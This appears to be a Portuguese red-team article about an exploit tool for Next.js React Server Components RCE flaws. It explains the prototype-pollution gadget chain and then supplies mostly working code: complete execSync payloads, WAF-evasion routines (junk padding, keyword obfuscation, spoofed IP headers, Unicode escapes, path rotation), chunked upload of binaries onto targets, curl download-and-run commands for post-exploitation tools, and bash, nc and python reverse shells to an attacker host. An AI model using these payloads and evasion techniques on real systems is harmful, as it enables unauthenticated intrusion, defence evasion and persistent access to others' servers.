O React2Tool é um scanner/exploit para as vulnerabilidades CVE-2025-55182 e CVE-2025-66478 no Next.js RSC (React Server Components). Este artigo documenta os desafios reais de exploração: bypass de WAFs (Cloudflare, Vercel), estabilização de shells frágeis, e técnicas avançadas de persistência e evasão. Não é sobre "clicar e ganhar shell" — é sobre o que fazer quando tudo dá errado.
Este artigo é exclusivamente educacional e descreve pesquisas realizadas em ambientes controlados e autorizados. As técnicas aqui discutidas são para profissionais de Red Team, pesquisadores de segurança e estudantes. Utilize apenas em sistemas onde você tem autorização explícita.
🎯 A Filosofia Deste Artigo
Não vou disponibilizar o script pronto. Se você está procurando um "clique-e-ganhe-shell", está no lugar errado. Ferramentas prontas te tornam dependente — e dependência é o oposto de habilidade.
O que vou compartilhar é algo mais valioso: o conhecimento técnico profundo que usei para construir o React2Tool. Cada técnica de bypass, cada solução para shells instáveis, cada método de evasão — tudo documentado com código e explicações.
Com esse conhecimento, você não apenas poderá construir sua própria ferramenta — você entenderá cada linha de código. E quando a ferramenta falhar (porque toda ferramenta falha), você saberá adaptar, modificar e evoluir. Isso é o que separa um operador de um script kiddie.
O Cenário: CVE-2025-55182 e o Nascimento do React2Shell
Em 2025, uma vulnerabilidade crítica foi descoberta no Next.js, o framework React mais popular do mercado. A falha reside no mecanismo de React Server Components (RSC) — a nova arquitetura que permite renderização no servidor.
A vulnerabilidade permite Remote Code Execution (RCE) através de prototype pollution no parser de ações do servidor. Em termos práticos: um atacante pode executar comandos arbitrários no servidor Next.js sem autenticação.
O React2Tool nasceu da necessidade de ter uma ferramenta robusta que não apenas detectasse a vulnerabilidade, mas que fosse capaz de explorar em condições reais — com WAFs, rate limiting, e todas as defesas modernas.
Deep Dive: Como a Vulnerabilidade Realmente Funciona
A maioria dos writeups sobre React2Shell mostram apenas o PoC ou dicas de bypass de WAF. Mas para realmente entender (e adaptar quando algo falha), precisamos mergulhar no funcionamento interno da vulnerabilidade.
React Flight Protocol: A Raiz do Problema
O React implementou o React Flight Protocol — um mecanismo de serialização/desserialização que permite que inputs do usuário sejam desserializados no servidor. Como qualquer mecanismo de desserialização, ele reconstrói objetos baseado no input do usuário.
┌─────────────────────────────────────────────────────────────────────┐
│ REACT FLIGHT PROTOCOL │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ Client Input Server Processing Object Creation │
│ ───────────── ────────────────── ──────────────── │
│ │
│ {"propX": "$0"} ──► decodeReplyFromBusboy ──► { propX: ref } │
│ │ │
│ ▼ │
│ resolveModelChunk() │
│ │ │
│ ▼ │
│ reviveModel() ◄── Recursivamente reconstrói │
│ │
└─────────────────────────────────────────────────────────────────────┘
O problema acontece porque o React não verifica se a chave requisitada
foi realmente definida no objeto. Isso permite acessar propriedades internas
do objeto JavaScript — incluindo o __proto__:
// Payload malicioso
{"propX": "$0:__proto__:toString"}
// Resultado: propX = função nativa toString
// Acessamos o prototype do objeto!
O Conceito de "Thenable" em JavaScript
Este é o ponto crítico do exploit. Em JavaScript, se um objeto retornado
por Promise.resolve() ou then() contém uma propriedade
then que é uma função, essa função será enfileirada para execução.
// Demonstração do comportamento "thenable"
const userObj = { then: () => console.log('Executado!') }
Promise.resolve().then(() => userObj) // => 'Executado!' é logado
Promise.resolve(userObj) // => 'Executado!' é logado
async function getUserObj() {
return userObj
}
getUserObj() // => 'Executado!' é logado
// Se o retorno de "then" também tiver "then",
// continua sendo chamado recursivamente!
A Sacada: O chunk retornado pelo React contém um método
Chunk.prototype.then. Se manipularmos o chunk para que seu
value.then aponte para uma função maliciosa, ela será executada
quando o Promise for resolvido!
A Gadgetchain: Do Input à Execução de Código
A cadeia de gadgets do PoC funciona assim:
// Passo 1: Criar referência circular via __proto__
{"then": "$1:__proto__:then"}
// Acessa Chunk.__proto__.then = Chunk.prototype.then
// Passo 2: Criar função anônima via constructor.constructor
{"get": "$1:constructor:constructor"}
// object.constructor.constructor = Function (eval-like)
// Passo 3: Injetar código via _formData
{"_prefix": "return process.mainModule.require('child_process')..."}
// O código injetado será passado para Function()
// Resultado: Function("return process.mainModule...")()
// = RCE!
Fluxo Completo de Exploração
┌────────────────────────────────────────────────────────────────────────┐ │ FLUXO DE EXPLORAÇÃO │ ├────────────────────────────────────────────────────────────────────────┤ │ │ │ 1. Multipart Form Data │ │ │ │ │ ▼ │ │ 2. decodeReplyFromBusboy() → createResponse() → Chunk pendente │ │ │ │ │ ▼ │ │ 3. resolveField() → Chunk.status = "resolved_model" │ │ │ │ │ ▼ │ │ 4. Chunk.prototype.then() é chamado (porque é "thenable") │ │ │ │ │ ▼ │ │ 5. initializeModelChunk() → reviveModel() → parseModelString() │ │ │ │ │ ▼ │ │ 6. Property traversal: __proto__.then, constructor.constructor │ │ │ │ │ ▼ │ │ 7. Function() criada com código malicioso │ │ │ │ │ ▼ │ │ 8. Promise.resolve(fakeChunk) → value.then() → RCE! │ │ │ └────────────────────────────────────────────────────────────────────────┘
O Código Vulnerável
O código vulnerável está em action-handler.ts do Next.js:
// next.js/packages/next/src/server/app-render/action-handler.ts
const busboy = require('next/dist/compiled/busboy')({
defParamCharset: 'utf8',
headers: req.headers,
limits: { fieldSize: bodySizeLimitBytes },
})
pipeline(sizeLimitedBody, busboy, () => {})
// VULNERÁVEL: Input do usuário é desserializado diretamente
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Insight Crítico: Existe outra função similar chamada
decodeAction, mas ela usa um resolve() vazio,
tornando o exploit impossível por esse caminho. O decodeReplyFromBusboy
é o único vetor explorável.
"Although I didn't like JS much, but this exploit is art. Both the one found it and the one craft the working gadgetchain are artists."
— Jang (testbnull)Anatomia da Vulnerabilidade: Tipos e Manifestações
A vulnerabilidade Next.js RSC pode se manifestar de diferentes formas dependendo da configuração do servidor, versão do framework, e como a aplicação foi desenvolvida. Entender essas variações é crucial para detectar e explorar com sucesso.
Os 5 Modos de Operação
O React2Tool opera em diferentes modos, cada um otimizado para um cenário específico:
| Modo | Propósito | Risco | Quando Usar |
|---|---|---|---|
--safe |
Detecção via side-channel, sem executar código | 🟢 Mínimo | Reconhecimento inicial, bug bounty |
--rce |
Prova de conceito com cálculo matemático (41*271) | 🟡 Baixo | Confirmar RCE sem impacto |
--version |
Apenas detecta versão do Next.js | 🟢 Nenhum | Triagem em massa |
--god |
Exploração completa: shell, file read, upload | 🔴 Alto | Red Team com autorização |
--comprehensive |
Todos os checks + múltiplas técnicas de bypass | 🟡 Médio | Assessment completo |
Vetores de Exploração RSC: Padrão vs Alternativo
A vulnerabilidade RSC pode ser explorada de duas formas principais, dependendo de como a aplicação Next.js está configurada e quais endpoints aceitam Server Actions:
A exploração padrão envia o payload para a raiz do site
(/)
ou para a página que contém o Server Action vulnerável.
# Exploração padrão - endpoint raiz
POST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
Next-Action: x
[PAYLOAD RSC]
Quando funciona: Aplicações que têm Server Actions na página principal ou em rotas conhecidas. É o primeiro vetor a testar.
Quando a raiz não funciona (ou está protegida por WAF), testamos
endpoints alternativos. O Next.js processa Server Actions em
qualquer rota que aceite POST com o header Next-Action.
# Exploração alternativa - endpoints inventados
POST /adfa HTTP/1.1 # Endpoint que não existe mas Next.js processa
POST /rsc HTTP/1.1 # Alusão a React Server Components
POST /abc HTTP/1.1 # Qualquer string funciona
POST /x HTTP/1.1 # Minimalista
POST /__nextjs HTTP/1.1 # Parece interno
Host: target.com
Next-Action: x
[PAYLOAD RSC]
Por que funciona: O Next.js não valida se a rota existe antes de
processar o Server Action. Se o header Next-Action está presente,
ele tenta processar — mesmo em rotas inexistentes.
COMPARAÇÃO DOS VETORES: ┌─────────────────────────────────────────────────────────────────────────┐ │ VETOR PADRÃO (/) │ ├─────────────────────────────────────────────────────────────────────────┤ │ POST / │ │ │ │ ✅ Vantagens: ❌ Desvantagens: │ │ • Primeiro a testar • Mais provável de ter regras WAF │ │ • Funciona se houver SA na page • Pode não ter Server Action │ │ • Comportamento esperado • Mais logging/monitoring │ └─────────────────────────────────────────────────────────────────────────┘ ┌─────────────────────────────────────────────────────────────────────────┐ │ VETOR ALTERNATIVO (/adfa, /rsc, /x) │ ├─────────────────────────────────────────────────────────────────────────┤ │ POST /adfa, POST /rsc, POST /qualquercoisa │ │ │ │ ✅ Vantagens: ❌ Desvantagens: │ │ • WAFs geralmente não protegem • Menos óbvio que funciona │ │ • Endpoints "invisíveis" • Alguns proxies bloqueiam 404 │ │ • Bypassa regras de path • Pode gerar logs estranhos │ │ • Funciona em qualquer rota • Requer Next-Action header │ └─────────────────────────────────────────────────────────────────────────┘ ESTRATÉGIA RECOMENDADA: 1. Tente / primeiro (padrão) 2. Se bloqueado → /adfa, /rsc, /x 3. Se ainda bloqueado → Combine com WAF bypass (junk, encoding) 4. Itere por múltiplos endpoints automaticamente
Descoberta importante: Durante testes, descobri que o endpoint
/adfa funcionava em alvos onde / estava bloqueado.
O WAF tinha regras específicas para a raiz mas não para paths aleatórios.
Isso levou à implementação de rotação automática de endpoints
no React2Tool — se um falha, automaticamente tenta o próximo.
Como a Vulnerabilidade Se Manifesta
Dependendo da configuração do alvo, você verá diferentes "sinais" de que a vulnerabilidade existe:
O output aparece no campo
"digest" do JSON de erro.
Mais comum em versões 15.x. Facilita extração.
Output aparece no header
X-Action-Redirect ou
Location.
Comum em versões 14.x com Server Actions.
RCE funciona mas não há canal de retorno visível. Requer técnicas de exfiltração: DNS, HTTP out-of-band.
Detectável apenas por delay no response (ex:
sleep 5).
Último recurso quando tudo mais falha.
Fluxo de Detecção por Tipo
FLUXO DE IDENTIFICAÇÃO DO TIPO:
┌─────────────────────┐
│ Enviar Payload │
│ de Teste │
└──────────┬──────────┘
│
┌──────────▼──────────┐
│ Analisar Response │
└──────────┬──────────┘
│
┌────────────────────┼────────────────────┐
│ │ │
┌─────▼─────┐ ┌─────▼─────┐ ┌─────▼─────┐
│ "digest" │ │ Header │ │ Timeout │
│ no Body │ │ Redirect │ │ > 5s │
└─────┬─────┘ └─────┬─────┘ └─────┬─────┘
│ │ │
▼ ▼ ▼
╔═══════════╗ ╔═══════════╗ ╔═══════════╗
║ TIPO 1 ║ ║ TIPO 2 ║ ║ TIPO 4 ║
║ Digest ║ ║ Redirect ║ ║ Time ║
╚═══════════╝ ╚═══════════╝ ╚═══════════╝
│ │ │
└────────────────────┼────────────────────┘
│
┌──────────▼──────────┐
│ Nenhum dos acima? │
│ → Tentar DNS/HTTP │
│ Out-of-Band │
└──────────┬──────────┘
│
▼
╔═══════════╗
║ TIPO 3 ║
║ Blind ║
╚═══════════╝
Versões Afetadas e Comportamentos
| Versão Next.js | Vulnerável? | Tipo Comum | Notas |
|---|---|---|---|
| 16.0.0 - 16.0.6 | ✅ Sim | Tipo 1 (Digest) | Mais recente, fix em 16.0.7+ |
| 15.0.0 - 15.0.4 | ✅ Sim | Tipo 1/2 | Fix varia por minor version |
| 14.3.0-canary.77+ | ✅ Sim | Tipo 2 (Redirect) | Canary builds são vulneráveis |
| 14.x (stable) | ❌ Não | N/A | Releases estáveis não afetadas |
| 13.x e anteriores | ❌ Não | N/A | Pré-RSC, arquitetura diferente |
Dica de Identificação: Use o modo --version primeiro
para identificar a versão do Next.js. Isso economiza tempo e evita disparar alertas
com payloads de teste desnecessários. A versão aparece frequentemente em:
/_next/static/, headers x-powered-by, ou no HTML source.
Desafio 1: Bypass de WAFs Agressivos
O Problema
Em um mundo ideal, você envia o payload e recebe a shell. Na realidade, 98% dos alvos estão atrás de WAFs como Cloudflare, AWS WAF, ou Vercel Edge. Esses WAFs inspecionam cada byte do seu request procurando padrões maliciosos.
PAYLOAD ORIGINAL vs WAF:
Atacante ──→ [execSync('whoami')] ──→ Cloudflare ──→ ❌ BLOCKED
│
└── Pattern Match: "execSync"
"child_process"
"process.mainModule"
Solução 1: Overflow de Buffer de Inspeção
A primeira técnica que implementei explora uma limitação física dos WAFs: eles não podem inspecionar payloads infinitos. Cloudflare, por exemplo, inspeciona aproximadamente 128KB do body de um request.
# Técnica: Overflow do buffer de inspeção do WAF
def build_cloudflare_bypass_payload(command, junk_size_kb=256):
"""
Gera payload com dados junk ANTES do payload malicioso.
O WAF inspeciona os primeiros ~128KB e desiste.
Nosso payload real está após essa barreira.
"""
boundary = f"----WebKitFormBoundary{random_string(16)}"
# Gerar 256KB de lixo aleatório
junk_chars = string.ascii_letters + string.digits + "!@#$%^&*()"
junk_data = ''.join(random.choices(junk_chars, k=junk_size_kb * 1024))
# Múltiplos campos junk para confundir parser
junk_fields = []
for i in range(3):
field_name = random_string(12)
junk_fields.append(
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="{field_name}"\r\n\r\n'
f"{junk_data}\r\n"
)
# Payload real DEPOIS do junk
real_payload = build_rce_payload(command)
body = "".join(junk_fields) + real_payload
return body
Solução 2: Ofuscação de Keywords
WAFs procuram strings como execSync, child_process,
process.mainModule. A solução é nunca escrever essas strings
literalmente:
# Técnica: Concatenação de strings para evadir pattern matching
def build_obfuscated_payload(command):
"""
Ao invés de: require('child_process')
Usamos: r('child' + '_process')
O WAF não detecta porque não existe a string literal.
"""
# Payload ofuscado via concatenação
prefix_payload = (
"var p=process,m=p['main'+'Module'],r=m['req'+'uire'],"
"c=r('child'+'_process'),e=c['exec'+'Sync'];"
f"var res=e('{command}',{{timeout:30000}}).toString('base64');"
"throw Object.assign(new Error('x'),{digest: res});"
)
Solução 3: Headers de IP Spoofing
Muitos WAFs relaxam regras para requests que parecem vir de IPs internos ou de crawlers confiáveis como Googlebot:
def get_cloudflare_bypass_headers():
"""
Headers que simulam tráfego interno/confiável.
Cloudflare e outros WAFs frequentemente whitelistam esses padrões.
"""
internal_ips = [
"127.0.0.1", "10.0.0.1", "172.16.0.1",
# Ranges do próprio Cloudflare (podem ser trusted)
"173.245.48.1", "103.21.244.1", "141.101.64.1",
]
user_agents = [
# Googlebot é frequentemente whitelistado
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
# Facebook crawler
"facebookexternalhit/1.1",
# Slack
"Slackbot-LinkExpanding 1.0",
]
return {
"X-Forwarded-For": f"{random.choice(internal_ips)}",
"X-Real-IP": random.choice(internal_ips),
"True-Client-IP": random.choice(internal_ips), # Cloudflare-specific
"CF-Connecting-IP": random.choice(internal_ips),
"User-Agent": random.choice(user_agents),
}
Dica de Red Team: Combine todas as técnicas simultaneamente. O React2Tool usa junk data + ofuscação + headers spoofados em um único request. Redundância é chave em bypass de WAF.
Solução 4: Payload Chunked — Fragmentação para Evasão
Uma técnica avançada é fragmentar o payload malicioso em partes que parecem inofensivas individualmente. O WAF inspeciona cada fragmento e não detecta o padrão completo:
def build_cloudflare_chunked_payload(command):
"""
Payload usando estrutura chunked para bypass de Cloudflare.
Técnica: Dividir o payload em partes "inocentes".
O WAF não consegue correlacionar os fragmentos.
"""
boundary = f"----CF{random_string(16)}"
# Parte A: Declarações de variáveis (parece inofensivo)
part_a = "var p=process,m=p['main'+'Module'];"
# Parte B: Mais setup (ainda parece inofensivo)
part_b = "var r=m['req'+'uire'],c=r('child'+'_process');"
# Parte C: Execução (escondida no contexto)
part_c = f"var e=c['exec'+'Sync'],res=e('{command}',{{timeout:30000}}).toString('base64');"
# Parte D: Output
part_d = "throw Object.assign(new Error('x'),{digest: res});"
# Combinar em um único payload
full_prefix = part_a + part_b + part_c + part_d
# Adicionar conteúdo "decoy" que parece legítimo
decoy_html = '''<!DOCTYPE html><html><head><title>Form</title></head><body>
<form method="POST">
<input type="text" name="username" value="admin">
<input type="submit" value="Login">
</form></body></html>'''
body_parts = [
# Campo decoy primeiro (WAF inspeciona e vê "formulário normal")
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="html_content"\r\n'
f'Content-Type: text/html\r\n\r\n'
f"{decoy_html}\r\n",
# Payload real após o decoy
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="0"\r\n\r\n'
f"{build_json_payload(full_prefix)}\r\n",
f"--{boundary}--"
]
return "".join(body_parts)
Solução 5: Path Manipulation — Endpoints Alternativos
Cloudflare e outros WAFs frequentemente têm regras baseadas em paths específicos. Certos caminhos podem ter regras relaxadas:
def build_cloudflare_path_bypass_endpoints():
"""
Endpoints alternativos que podem bypassar regras de path do WAF.
Cloudflare frequentemente tem regras diferentes para:
- Paths de API
- Paths internos do Next.js
- Paths com encoding especial
"""
return [
# Encoding tricks
"/./", # Path traversal normalizado
"//", # Double slash
"/%2f", # URL-encoded slash
"/;/", # Semicolon injection
"/.;/", # Dot-semicolon
# Case variations (WAFs case-sensitive)
"/AdFa",
"/ADFA",
"/aDfA",
# Extension tricks
"/.json",
"/index.json",
"/api.json",
# Double encoding
"/%252f",
# API paths (frequentemente menos restritivos)
"/api/",
"/api/v1/",
"/_api/",
"/graphql",
# Next.js internals (podem ter whitelist)
"/_next/",
"/_next/data/",
"/__nextjs_original-stack-frame",
"/404",
"/500",
# Query string tricks (confunde parser do WAF)
"/?__cf_chl_rt_tk=",
"/?_cf_chl_opt=",
# Endpoints comuns
"/adfa", "/rsc", "/abc", "/x",
]
def exploit_with_path_rotation(session, target, command):
"""
Tenta múltiplos endpoints até um funcionar.
"""
paths = build_cloudflare_path_bypass_endpoints()
for path in paths:
url = f"{target}{path}"
result = send_exploit(session, url, command)
if result.success:
log_success(f"Path bypass funcionou: {path}")
return result
if not result.blocked_by_waf:
# Não foi bloqueado, mas falhou por outro motivo
continue
return None
Solução 6: Unicode Encoding — Evasão de Pattern Matching
Caracteres podem ser representados em Unicode escape sequences. Alguns WAFs não normalizam Unicode antes de inspecionar:
def encode_unicode(data):
"""
Converte caracteres dentro de strings para Unicode escapes.
Exemplo:
- 'child_process' → '\u0063\u0068\u0069\u006c\u0064_\u0070\u0072\u006f\u0063...'
O JavaScript interpreta normalmente, mas o WAF não vê a string literal.
"""
result = []
in_string = False
i = 0
while i < len(data):
c = data[i]
if c == '"':
in_string = not in_string
result.append(c)
elif not in_string:
result.append(c)
elif c == '\\' and i + 1 < len(data):
# Preservar escapes existentes
result.append(c)
result.append(data[i + 1])
i += 1
else:
# Converter para Unicode escape
result.append(f"\\u{ord(c):04x}")
i += 1
return ''.join(result)
# Exemplo de uso
original = '{"cmd": "child_process"}'
encoded = encode_unicode(original)
# Resultado: '{"\u0063\u006d\u0064": "\u0063\u0068\u0069\u006c\u0064_\u0070\u0072\u006f..."}'
Solução 7: Vercel-Specific Bypass
Vercel tem proteções específicas. Este bypass foi desenvolvido analisando como o Vercel Edge processa requests:
def build_vercel_bypass_payload():
"""
Payload específico para bypass do Vercel Edge.
Características:
- Usa formato específico de referência ($3:\\"$$:constructor...)
- Campo extra para confundir o parser
- Estrutura que passou nos testes contra Vercel
"""
boundary = generate_boundary()
# Payload com referência especial que Vercel não filtra
part0 = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\'echo $((41*271))\').toString().trim();;'
'throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",'
'"_chunks":"$Q2","_formData":{"get":"$3:\\"$$:constructor:constructor"}}}'
)
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="0"\r\n\r\n'
f"{part0}\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="1"\r\n\r\n'
f'"$@0"\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="2"\r\n\r\n'
f"[]\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="3"\r\n\r\n'
# Campo especial: Unicode-encoded $$ reference
f'{{"\\"\\u0024\\u0024":{{}}}}\r\n'
f"--{boundary}--"
)
return body, f"multipart/form-data; boundary={boundary}"
| Técnica | Cloudflare | Vercel | AWS WAF |
|---|---|---|---|
| Junk Overflow (256KB) | ✅ Efetivo | ✅ Efetivo | ✅ Efetivo |
| String Concatenation | ✅ Efetivo | ✅ Efetivo | ✅ Efetivo |
| Chunked Payload | ✅ Efetivo | ⚠️ Parcial | ✅ Efetivo |
| Path Manipulation | ⚠️ Variável | ❌ Bloqueado | ✅ Efetivo |
| Unicode Encoding | ⚠️ Parcial | ✅ Efetivo | ⚠️ Parcial |
| IP Spoofing Headers | ⚠️ Depende | ❌ Ignorado | ⚠️ Depende |
Técnica Avançada: Upload Chunked de Ferramentas
O Problema: Ambiente Sem Ferramentas
Em muitos servidores Next.js (especialmente containers minimalistas), não existe
curl, wget, ou outras ferramentas de download. Como
transferir binários para o alvo?
Solução: Echo + Base64 Chunked
A técnica é dividir o binário em chunks Base64 e reconstruir no alvo usando apenas comandos básicos que sempre existem:
def upload_binary_chunked(session, target, binary_path, remote_path="/tmp/tool"):
"""
Upload de binário via RCE usando echo + base64.
Funciona mesmo quando não existe curl/wget.
Processo:
1. Ler binário local
2. Converter para Base64
3. Dividir em chunks de ~1000 chars (limite de linha de comando)
4. Enviar cada chunk via: echo 'CHUNK' >> /tmp/tool.b64
5. Decodificar: base64 -d /tmp/tool.b64 > /tmp/tool
6. Tornar executável: chmod +x /tmp/tool
"""
CHUNK_SIZE = 1000 # Caracteres por chunk (safe para linha de comando)
# Ler binário e converter para Base64
with open(binary_path, 'rb') as f:
binary_data = f.read()
b64_data = base64.b64encode(binary_data).decode('ascii')
# Dividir em chunks
chunks = [b64_data[i:i+CHUNK_SIZE] for i in range(0, len(b64_data), CHUNK_SIZE)]
log_info(f"Uploading {len(binary_data)} bytes em {len(chunks)} chunks...")
# Limpar arquivo anterior se existir
execute_command(session, target, f"rm -f {remote_path}.b64 {remote_path}")
# Enviar cada chunk
for i, chunk in enumerate(chunks):
# Usar echo com append
cmd = f"echo '{chunk}' >> {remote_path}.b64"
result = execute_command(session, target, cmd)
if not result.success:
log_error(f"Falha no chunk {i+1}/{len(chunks)}")
return False
# Progress
if (i + 1) % 10 == 0:
log_info(f"Progresso: {i+1}/{len(chunks)} chunks")
# Decodificar Base64 para binário
decode_cmd = f"base64 -d {remote_path}.b64 > {remote_path}"
result = execute_command(session, target, decode_cmd)
if not result.success:
log_error("Falha ao decodificar Base64")
return False
# Tornar executável e limpar temporário
execute_command(session, target, f"chmod +x {remote_path}")
execute_command(session, target, f"rm -f {remote_path}.b64")
log_success(f"Upload completo: {remote_path}")
return True
Otimização: Compressão Antes do Upload
def upload_binary_compressed(session, target, binary_path, remote_path="/tmp/tool"):
"""
Upload otimizado com compressão gzip.
Reduz significativamente o número de chunks necessários.
Binários típicos comprimem 60-70%.
"""
import gzip
# Ler e comprimir binário
with open(binary_path, 'rb') as f:
binary_data = f.read()
compressed = gzip.compress(binary_data, compresslevel=9)
compression_ratio = len(compressed) / len(binary_data) * 100
log_info(f"Compressão: {len(binary_data)} -> {len(compressed)} bytes ({compression_ratio:.1f}%)")
# Fazer upload do arquivo comprimido
success = upload_binary_chunked(session, target, compressed, f"{remote_path}.gz")
if success:
# Descomprimir no alvo
execute_command(session, target, f"gzip -d {remote_path}.gz")
execute_command(session, target, f"chmod +x {remote_path}")
return success
UPLOAD CHUNKED - FLUXO COMPLETO:
┌─────────────┐ ┌──────────────────────────────────────────────┐
│ ATACANTE │ │ ALVO │
└──────┬──────┘ └────────────────────┬─────────────────────────┘
│ │
│ 1. echo 'SGVsbG8...' >> /tmp/t.b64
│─────────────────────────────────→│ Chunk 1/50
│ │
│ 2. echo 'V29ybGQ...' >> /tmp/t.b64
│─────────────────────────────────→│ Chunk 2/50
│ │
│ ... (48 chunks) ... │
│ │
│ 50. echo 'Rmlub3M...' >> /tmp/t.b64
│─────────────────────────────────→│ Chunk 50/50
│ │
│ 51. base64 -d /tmp/t.b64 > /tmp/tool
│─────────────────────────────────→│ Decodificar
│ │
│ 52. chmod +x /tmp/tool
│─────────────────────────────────→│ Executável
│ │
│ 53. rm /tmp/t.b64
│─────────────────────────────────→│ Cleanup
│ │
▼ ▼
[BINÁRIO LOCAL] [BINÁRIO REMOTO PRONTO]
🎯 Meu Arsenal Preferido — As Ferramentas Que Realmente Uso
Depois de dezenas de operações, estas são as ferramentas que sempre faço upload. Não são necessariamente as mais famosas, mas são as que funcionam quando tudo mais falha:
Shell reversa que atravessa NAT, firewalls, e funciona via relay. Não precisa de porta aberta no atacante.
gs-netcat é ouro
puro.
Full TTY shell com
pty. Ctrl+C funciona, tab-completion,
histórico. É a diferença entre sofrer e trabalhar confortável.
Quando o container não tem NADA (nem wget, nem curl, nem nc), busybox tem tudo. Um binário, 300+ comandos.
Enumeração completa para privesc. Encontra SUID, capabilities, crons, senhas em configs. Sempre roda primeiro.
Monitor de processos sem root. Vê cron jobs e processos privilegiados executando. Encontra privesc que linpeas não vê.
Tunneling HTTP/SOCKS. Quando preciso pivotar para rede interna ou acessar serviços locais (127.0.0.1:3306, etc).
Por que GSocket? Em operações reais, frequentemente o alvo está atrás de NAT corporativo ou firewall que bloqueia conexões de saída em portas não-padrão. GSocket usa um servidor relay público — a conexão sai pela porta 443 (HTTPS), que quase nunca está bloqueada. É game changer.
Catálogo de Ferramentas para Upload
# Ferramentas essenciais para pós-exploração
STATIC_BINARIES = {
# ═══════════════════════════════════════════════════════════
# NETWORK TOOLS
# ═══════════════════════════════════════════════════════════
"ncat": {
"url": "https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat",
"size": "~2.8 MB",
"description": "Netcat com SSL, proxy, e connection brokering",
"usage": [
"/tmp/ncat -lvnp 4444", # Listener
"/tmp/ncat -lvnp 4444 --ssl", # Listener com SSL
"/tmp/ncat HOST PORT -e /bin/sh", # Reverse shell
]
},
"socat": {
"url": "https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat",
"size": "~2.5 MB",
"description": "Swiss army knife - TTY shell, port forwarding",
"usage": [
# Full TTY reverse shell
"/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT",
# Port forwarding
"/tmp/socat TCP-LISTEN:8080,fork TCP:internal:80",
]
},
# ═══════════════════════════════════════════════════════════
# ENUMERATION & PRIVESC
# ═══════════════════════════════════════════════════════════
"linpeas": {
"url": "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh",
"size": "~800 KB",
"description": "Linux Privilege Escalation Awesome Script",
"usage": ["/tmp/linpeas.sh -a 2>&1 | tee /tmp/linpeas.out"]
},
"pspy": {
"url": "https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64",
"size": "~3 MB",
"description": "Monitor de processos sem root - detecta cron jobs",
"usage": ["/tmp/pspy64 -pf -i 1000"]
},
# ═══════════════════════════════════════════════════════════
# UTILITIES
# ═══════════════════════════════════════════════════════════
"busybox": {
"url": "https://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busybox",
"size": "~1 MB",
"description": "Unix utilities all-in-one (wget, nc, tar, etc)",
"usage": [
"/tmp/busybox wget URL -O /tmp/file",
"/tmp/busybox nc -lvnp 4444",
"/tmp/busybox tar xzf file.tar.gz",
]
},
}
def express_install(session, target, tools=["ncat", "busybox", "linpeas"]):
"""
Instalação rápida de ferramentas essenciais.
"""
for tool in tools:
if tool not in STATIC_BINARIES:
log_warning(f"Ferramenta desconhecida: {tool}")
continue
info = STATIC_BINARIES[tool]
log_info(f"Instalando {tool} ({info['size']})...")
# Tentar download direto primeiro (mais rápido)
cmd = f"curl -sL {info['url']} -o /tmp/{tool} && chmod +x /tmp/{tool}"
result = execute_command(session, target, cmd)
if not result.success:
# Fallback: upload chunked (mais lento, mas sempre funciona)
log_warning(f"curl falhou, usando upload chunked...")
# Baixar localmente e fazer upload
local_path = download_tool_locally(info['url'], tool)
upload_binary_chunked(session, target, local_path, f"/tmp/{tool}")
Cada chunk é um request separado. Em logs, isso aparece como dezenas de requests sequenciais. Para operações stealth, considere: compactar o máximo possível, usar delays entre chunks, e sempre fazer cleanup após uso.
Desafio 2: O Pesadelo da Shell Instável
Por Que Shells Falham?
Conseguir RCE é apenas o começo. O verdadeiro desafio é manter acesso. Em explorações de Next.js, a shell é inerentemente instável por vários motivos:
| Problema | Causa | Impacto |
|---|---|---|
| Timeout de Request | Payload executa dentro do ciclo HTTP request | Shell morre após ~30 segundos |
| Process Kill | Next.js mata processos filho quando request termina | Reverse shell desconecta imediatamente |
| Container Ephemeral | Serverless (Vercel) recicla containers | Todo estado é perdido entre requests |
| Firewall Egress | Regras de saída bloqueiam conexões | Reverse shell não consegue conectar |
Solução: Detached Process com Spawn
A primeira técnica é usar spawn com opções detached e
unref(). Isso desvincula o processo filho do pai:
def build_reverse_shell_payload(lhost, lport, shell_type="bash"):
"""
Payload que spawna processo DETACHED do Node.js pai.
Opções críticas:
- detached: true → Cria novo process group
- stdio: 'ignore' → Não herda stdin/stdout do pai
- .unref() → Permite pai terminar sem matar filho
"""
shells = {
"bash": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
"nc": f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f",
"python": f"python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
}
shell_cmd = shells.get(shell_type)
prefix_payload = (
"process.mainModule.require('child_process')"
f".spawn('sh',['-c','{shell_cmd}'],"
"{detached:true,stdio:'ignore'}).unref();" # ← CRÍTICO!
"throw Object.assign(new Error('NEXT_REDIRECT'),"
"{digest: 'NEXT_REDIRECT;push;/shell_spawned;307;'});"
)
return prefix_payload
Solução: Bind Shell como Alternativa
